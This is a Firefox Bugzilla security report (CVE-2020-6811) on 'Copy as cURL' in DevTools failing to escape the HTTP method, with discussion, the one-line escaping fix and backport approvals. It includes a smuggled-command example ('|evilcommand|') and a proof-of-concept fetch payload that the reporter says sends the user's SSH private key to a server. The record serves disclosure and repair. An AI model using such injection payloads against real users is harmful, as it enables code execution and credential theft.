Copy Summary ▾ View ▾

Closed Bug 1607742 (CVE-2020-6811) Opened 3 years ago Closed 3 years ago

'Copy As Curl' in the network panel of the devtools does not escape the HTTP method properly, leading to local code execution

▾ **Categories**

Product: DevTools ▾
Component: Netmonitor ▾

Type: defect
Priority: P2 Severity: normal

▾ **Tracking**

Status: RESOLVED FIXED
Milestone: Firefox 75

Tracking Flags:

	Tracking	Status
firefox-esr68	74+	fixed
firefox73	---	wontfix
firefox74	+	fixed
firefox75	+	fixed

▸ **People** (Reporter: pere.jobs, Assigned: Honza)

▸ **References**

▸ **Details** (Keywords: sec-moderate, Whiteboard: [reporter-external] [client-bounty-form] [verif?][post-critsmash-triage][adv-main74+][adv-esr68.6+])

▾ **Attachments**

bug.html
3 years ago **Ophir LOJKINE**
57 bytes, text/html
Details

Escape method argument
3 years ago **Jan Honza Odvarko [:Honza] (always need-info? me)**
47 bytes, text/x-phabricator-request
RyanVM : **approval-mozilla-beta+**
RyanVM : **approval-mozilla-esr68+**
Details | Review

advisory.txt
3 years ago **Tom Ritter [:tjr]**
443 bytes, text/plain
Details

Show Obsolete

Bottom ↓ Tags ▾ Timeline ▾

Ophir LOJKINE Reporter
Description • 3 years ago

Attached file ***bug.html*** *— Details*

Firefox devtools have a 'network' panel, where all the requests made by the current webpage are listed.
In this panel, the user can right-click on a query, and then select 'Copy As cURL'. The user is then expected to paste what he just copied into a terminal.
The issue is that the HTTP method of the request, which is controlled by the potentially malicious webpage, is not escaped when the curl command is formed.

As an example, the following javascript snippet will make a problematic request:

fetch('', {method: '|evilcommand|'});

When this snippet is run, and then a naive user uses 'Copy as cURL' on the generated request and then pastes it into a terminal, evilcommand is executed.

Note: an HTTP verb cannot contain a space (so one can not launch evilcommand with arguments), but the following characters are allowed, making it possible to construct complex malicious payloads: ` ' . * $ & | ~.

Flags: sec-bounty?

Ophir LOJKINE Reporter
Comment 1 • 3 years ago

The problem seems to come from this line, where the HTTP method is added to the command without any escaping:

https://dxr.mozilla.org/mozilla-central/source/devtools/client/shared/curl.js#122

:Gijs (he/him)
Comment 2 • 3 years ago

Honza, can you take a look?

Type: task → defect
Component: Security → Netmonitor
Flags: needinfo?(odvarko)
Product: Firefox → DevTools

Ophir LOJKINE Reporter
Comment 3 • 3 years ago

Here is an example exploit:

```
fetch('/', {method: '&echo$IFS`echo`6375726c206c6f63616c686f73743a39393939202d2d64617461202224283c207e2f2e7373
```

When the generated request is copied as cURL and pasted to a terminal, the user's ssh private key is sent to a server (localhost:9999 in this example).

Andrew McCreight [:mccr8]
Updated • 3 years ago

Keywords: sec-moderate

Jan Honza Odvarko [:Honza] (always need-info? me) Assignee
Comment 4 • 3 years ago

*Attached file **Escape method argument** — Details*

Phabricator Automation
Updated • 3 years ago

Assignee: nobody → odvarko

Ophir LOJKINE Reporter
Comment 5 • 3 years ago

Hello ! Anything new ? Do you need help making a patch ?

This should be as simple as replacing

```
        command.push(data.method);
```

with

```
        command.push(escapeString(data.method));
```

in https://dxr.mozilla.org/mozilla-central/source/devtools/client/shared/curl.js#122

Ophir LOJKINE Reporter
Comment 6 • 3 years ago

Also, this bug still has the status UNCONFIRMED. Were you able to reproduce it ? Do you need more information about how to reproduce it ?

:Gijs (he/him)
Comment 7 • 3 years ago

I think you've found the patch since your last comments...

As for the status field, I think the automatic update just missed it...

Status: UNCONFIRMED → ASSIGNED
Ever confirmed: true

Tom Ritter [:tjr]
Updated • 3 years ago

See Also: → ~~CVE-2019-9804~~

Daniel Veditz [:dveditz]
Updated • 3 years ago

Flags: sec-bounty? → sec-bounty+

Sebastian Hengst [:aryx] (needinfo me if it's about an intermittent or backout)
Comment 8 • 3 years ago

https://hg.mozilla.org/integration/autoland/rev/4e6cf4c65e2153dd212512aae8b43eea39ce4f36
https://hg.mozilla.org/mozilla-central/rev/4e6cf4c65e21

Group: firefox-core-security → core-security-release
Status: ASSIGNED → RESOLVED
Closed: 3 years ago
status-firefox75: --- → fixed
Resolution: --- → FIXED
Target Milestone: --- → Firefox 75

Ryan VanderMeulen [:RyanVM]
Comment 9 • 3 years ago

Please nominate this for Beta and ESR68 approval when you get a chance.

status-firefox73: --- → wontfix
status-firefox74: --- → affected
status-firefox-esr68: --- → affected

Jan Honza Odvarko [:Honza] (always need-info? me) Assignee
Comment 10 • 3 years ago

Comment on attachment 9121841 [details]
Escape method argument

Beta/Release Uplift Approval Request

- **User impact if declined**: Potential risk of evaluating an evil script when user uses 'Copy as cURL' on HTTP request and pastes it into a terminal.
- **Is this code covered by automated tests?**: No
- **Has the fix been verified in Nightly?**: Yes
- **Needs manual test from QE?**: No
- **If yes, steps to reproduce**:
- **List of other uplifts needed**: None
- **Risk to taking this patch**: Low
- **Why is the change risky/not risky? (and alternatives if risky)**: Small patch, only impacts web developers (DevTools)
- **String changes made/needed**:

Flags: ~~needinfo?(odvarko)~~
Attachment #9121841 - Flags: approval-mozilla-beta?

Jan Honza Odvarko [:Honza] (always need-info? me) Assignee
Comment 11 • 3 years ago

Comment on attachment 9121841 [details]
Escape method argument

ESR Uplift Approval Request

- **If this is not a sec:{high,crit} bug, please state case for ESR consideration**: Potential risk of evaluating an evil script when user uses 'Copy as cURL' on HTTP request and pastes it into a terminal.
- **User impact if declined**:
- **Fix Landed on Version**:
- **Risk to taking this patch**: Low
- **Why is the change risky/not risky? (and alternatives if risky)**: Small patch, only affects web developers (DevTools)
- **String or UUID changes made by this patch**:

Attachment #9121841 - Flags: approval-mozilla-esr68?

Jan Honza Odvarko [:Honza] (always need-info? me) Assignee
Updated • 3 years ago

Priority: -- → P2

Ryan VanderMeulen [:RyanVM]
Comment 12 • 3 years ago

Comment on attachment 9121841 [details]
Escape method argument

Fixes a devtools sec bug. Approved for 74.0b4 and 68.6esr.

Attachment #9121841 - Flags: ~~approval-mozilla-esr68?~~
Attachment #9121841 - Flags: approval-mozilla-esr68+
Attachment #9121841 - Flags: ~~approval-mozilla-beta?~~
Attachment #9121841 - Flags: approval-mozilla-beta+

Ryan VanderMeulen [:RyanVM]
Comment 13 • 3 years ago
uplift

https://hg.mozilla.org/releases/mozilla-beta/rev/0f94967140ce
https://hg.mozilla.org/releases/mozilla-esr68/rev/5da0d4b486f8

status-firefox74: affected → fixed
status-firefox-esr68: affected → fixed
tracking-firefox74: --- → +
tracking-firefox75: --- → +
tracking-firefox-esr68: --- → 74+

Bogdan Maris [:bogdan_maris], Release Desktop QA
Updated • 3 years ago

Flags: qe-verify-
Whiteboard: [reporter-external] [client-bounty-form] [verif?] → [reporter-external] [client-bounty-form] [verif?][post-critsmash-triage]

Daniel Veditz [:dveditz]
Updated • 3 years ago

See Also: → https://bugs.chromium.org/p/chromium/issues/detail?id=1040080

Tom Ritter [:tjr]
Updated • 3 years ago

Whiteboard: [reporter-external] [client-bounty-form] [verif?][post-critsmash-triage] → [reporter-external] [client-bounty-form] [verif?][post-critsmash-triage][adv-main74+][adv-main68.6+]

Tom Ritter [:tjr]
Updated • 3 years ago

Whiteboard: [reporter-external] [client-bounty-form] [verif?][post-critsmash-triage][adv-main74+][adv-main68.6+] → [reporter-external] [client-bounty-form] [verif?][post-critsmash-triage][adv-main74+][adv-esr68.6+]

Tom Ritter [:tjr]
Comment 14 • 3 years ago

Attached file ~~advisory.txt~~ (obsolete) — Details

Tom Ritter [:tjr]
Comment 15 • 3 years ago

Attached file ***advisory.txt*** *— Details*

Attachment #9131364 - Attachment is obsolete: true

Tom Ritter [:tjr]
Updated • 3 years ago

–

Alias: CVE-2020-6811

Daniel Veditz [:dveditz]
Updated • 3 years ago

–

Group: ~~core-security-release~~

You need to log in before you can comment on or make changes to this bug.

Top ↑